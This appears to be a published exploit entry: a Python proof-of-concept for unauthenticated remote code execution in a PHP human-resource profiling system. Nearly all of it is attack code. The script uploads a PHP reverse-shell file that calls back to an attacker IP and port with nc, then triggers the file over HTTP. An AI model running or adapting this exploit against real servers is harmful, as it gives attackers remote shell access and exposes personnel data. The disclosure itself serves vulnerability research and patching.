# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated) # Date: 19-03-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html # Software Download: https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): random_number = str(random.randint(100000000,999999999)) file_name = random_number + "shell.php" revshell_string = '&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')}) print("(+) Uploading php reverse shell file ..") r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) if not "Sorry, there was an error uploading your file." in r1.text: print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name)) return file_name else: print("(-) Oh noes, error occured while uploading the file.. quitting!") exit() def trigger_shell(target_ip, target_file_name): url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name) print("(+) Now trying to trigger our shell..") r2 = requests.get(url) if r2.status_code != 200: print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!") exit() else: return None def main(): if len(sys.argv) != 4: print('(+) usage: %s ' % sys.argv[0]) print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0]) sys.exit(-1) print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---") print("----------------------------------------------------------------------------") target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] target_file_name = file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip, target_file_name) print("(+) done!") if __name__ == "__main__": main()